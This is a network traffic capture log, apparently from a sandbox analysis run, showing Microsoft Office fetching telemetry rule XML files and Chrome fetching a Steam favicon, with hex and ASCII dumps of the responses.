20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:58 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 1707b783-801e-00a3-53e5-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064658Z-1657d5bbd48tnj6wmberkg2xy8000000039g000000001645 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:58 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:58 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 87fc294c-201e-0051-40f3-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064658Z-1657d5bbd48xdq5dkwwugdpzr000000003eg0000000056ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:58 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:58 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:58 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 99ffd5e0-b01e-0053-0101-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064658Z-1657d5bbd48xdq5dkwwugdpzr000000003fg000000003c9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:58 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:58 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:58 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:58 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 915c1ee4-001e-0079-3000-1712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064658Z-1657d5bbd48xdq5dkwwugdpzr000000003gg000000001hyk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:58 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:58 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:58 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0a3893d3-c01e-0082-33ee-16af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064658Z-1657d5bbd48dfrdj7px744zp8s00000002sg00000000ehz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:58 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:58 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: bf7deccb-401e-0064-0f0e-1754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064658Z-1657d5bbd48jwrqbupe3ktsx9w000000037000000000fmcx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:58 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:58 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 789c8418-601e-0032-5905-17eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064658Z-1657d5bbd48xlwdx82gahegw4000000003a00000000072es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49738	104.102.49.254	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:59 UTC	553	OUT	GET /favicon.ico HTTP/1.1 Host: steamcommunity.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:46:59 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/x-icon Cache-Control: public,max-age=86400 Expires: Sat, 09 Dec 2023 12:04:07 GMT Last-Modified: Tue, 18 Sep 2018 23:32:59 GMT Content-Length: 38554 Date: Mon, 07 Oct 2024 06:46:59 GMT Connection: close
2024-10-07 06:46:59 UTC	16120	IN	Data Raw: 00 00 01 00 05 00 10 10 00 00 01 00 20 00 68 04 00 00 56 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 be 04 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 46 0e 00 00 30 30 00 00 01 00 20 00 a8 25 00 00 ee 1e 00 00 00 00 00 00 01 00 20 00 04 52 00 00 96 44 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a7 75 13 00 a6 74 13 07 a9 77 13 48 ac 7a 13 a8 ae 7c 13 e4 af 7d 13 fb af 7d 13 fb ae 7c 13 e4 ac 7a 13 a8 a9 77 13 49 a6 74 13 07 a7 75 13 00 00 00 00 00 00 00 00 00 a3 70 13 00 99 66 13 00 98 65 13 18 9c 6a 13 92 9e 6b 11 ee 9e 6b 0f ff 9f 6c 11 ff a0 6d 13 ff a0 6e 13 ff a0 6e 13 ff a0 6e 13 ff 9f 6d 13 ee 9c 6a 13 92 98 65 13 18 99 66 13 00 a3 71 12 00 8d Data Ascii: hV F00 % RD( utwHz\|}}\|zwItupfejkklmnnnmjefq
2024-10-07 06:46:59 UTC	16384	IN	Data Raw: 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b ff 34 1a 0b e2 34 1a 0a 5e 35 1a 0a 04 35 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 1a 0b 00 35 18 0b 01 33 1b 0b 3b 33 1b 0c be 33 1b 0c fc 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c ff 33 1b 0c fc 33 1b 0c be 33 1b 0b 3b 35 18 0b 01 34 Data Ascii: 444444444444444^55453;33333333333333333333333333333;54
2024-10-07 06:46:59 UTC	1978	IN	Data Raw: c2 72 30 6a 8e d8 e8 48 ec 76 1b 7e 5d a7 91 59 00 6e 8f af de 57 a0 71 ea bc 7e 7e ff ce 22 5e fb 64 25 d5 b5 75 27 04 ec b0 fc bd 3b 19 0a 64 4e 82 aa 29 2c 97 e6 9d c3 9a 55 00 c5 8b 9f 23 75 e6 cf 01 3e 47 f8 21 d0 3b 38 b9 8e 6f 25 fa 02 3a 7b 8e 14 b2 37 ab 90 77 e7 6f 64 ea b9 fd b9 f2 fc 73 38 ef dc fe 74 4b 8a b5 b6 12 1b c1 61 b7 1d 5f 99 3f f5 f1 28 f0 f8 03 e8 ba de e4 df d7 ba 3d 2c 5a bf d7 d8 db b7 59 db 7b 9d 98 5c 90 cf 2a 25 96 b2 45 cf 36 fb c1 16 7a 8d a8 bd a0 2d 40 f8 5e a8 24 34 96 09 04 14 14 97 d7 f0 f1 92 ad cc 5f b3 9b a1 7d 7b 70 c9 e4 e1 5c 3a 75 18 83 7b f7 b0 1c 8c 4e c0 48 38 da 70 26 e0 94 5f 4a bd 82 68 46 71 36 1c ec 3a b6 8b 60 d1 39 51 cc 03 76 b7 44 b1 9f 51 01 94 2c 7a 8e d4 d9 0f 79 81 f7 51 dc 00 92 18 52 61 c5 98 Data Ascii: r0jHv~]YnWq~~"^d%u';dN),U#u>G!;8o%:{7wods8tKa_?(=,ZY{\*%E6z-@^$4_}{p\:u{NH8p&_JhFq6:`9QvDQ,zyQRa
2024-10-07 06:46:59 UTC	4072	IN	Data Raw: af 7e be 9e 67 fe b3 8c 15 3b b2 f0 07 f4 26 e7 fc 88 b1 e5 97 1c 17 cd 23 b7 cd e4 b2 49 43 9a ed d4 35 6e 2f 4f fd 6b 09 9b f6 e7 37 7b 4d ab 74 b8 32 07 b4 a7 02 36 7f 5d e9 a7 8f 05 db 7d 83 57 00 00 d1 c3 2e 04 a5 79 80 3c 90 8b 11 89 0f 83 07 55 df 81 a1 a4 d2 85 dd 66 e3 82 91 7d 9b cd a0 9b 91 9a 40 df b4 24 d6 ef cd a5 bc c6 5d 1f dd f8 b8 22 d0 44 f0 eb 8a c2 f2 1a 56 ef ca 66 de 86 03 6c 3d 98 4f 95 cb 83 dd 66 c3 69 d7 d0 34 ad d1 3a 7c fe 00 35 6e 2f 59 85 15 2c da 74 80 97 e7 ae e3 4f 1f ad 64 e1 c6 03 54 d4 78 d0 44 4e 8b f7 7f 52 e7 57 10 17 1d c1 43 b7 4c e7 b6 d9 63 ce 98 09 f8 a3 15 3b f9 fb 67 eb 8c f8 81 61 f0 1e ac 12 82 02 59 c0 4f d1 e4 80 cd a7 53 bb 7f 69 d0 7d 57 42 a1 00 00 ba 5d f7 24 20 36 85 fe 08 f0 28 21 52 2e a1 40 29 45 Data Ascii: ~g;&#IC5n/Ok7{Mt26]}W.y<Uf}@$]"DVfl=Ofi4:\|5n/Y,tOdTxDNRWCLc;gaYOSi}WB]$ 6(!R.@)E

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:59 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:59 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 27ba9a72-001e-0046-2a01-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064659Z-1657d5bbd48tqvfc1ysmtbdrg000000002xg00000000bbts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:59 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:46:59 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:46:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:46:59 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c2d0a885-201e-0003-7ced-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064659Z-1657d5bbd48cpbzgkvtewk0wu0000000035g000000009w9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:46:59 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49746	13.107.246.45	443

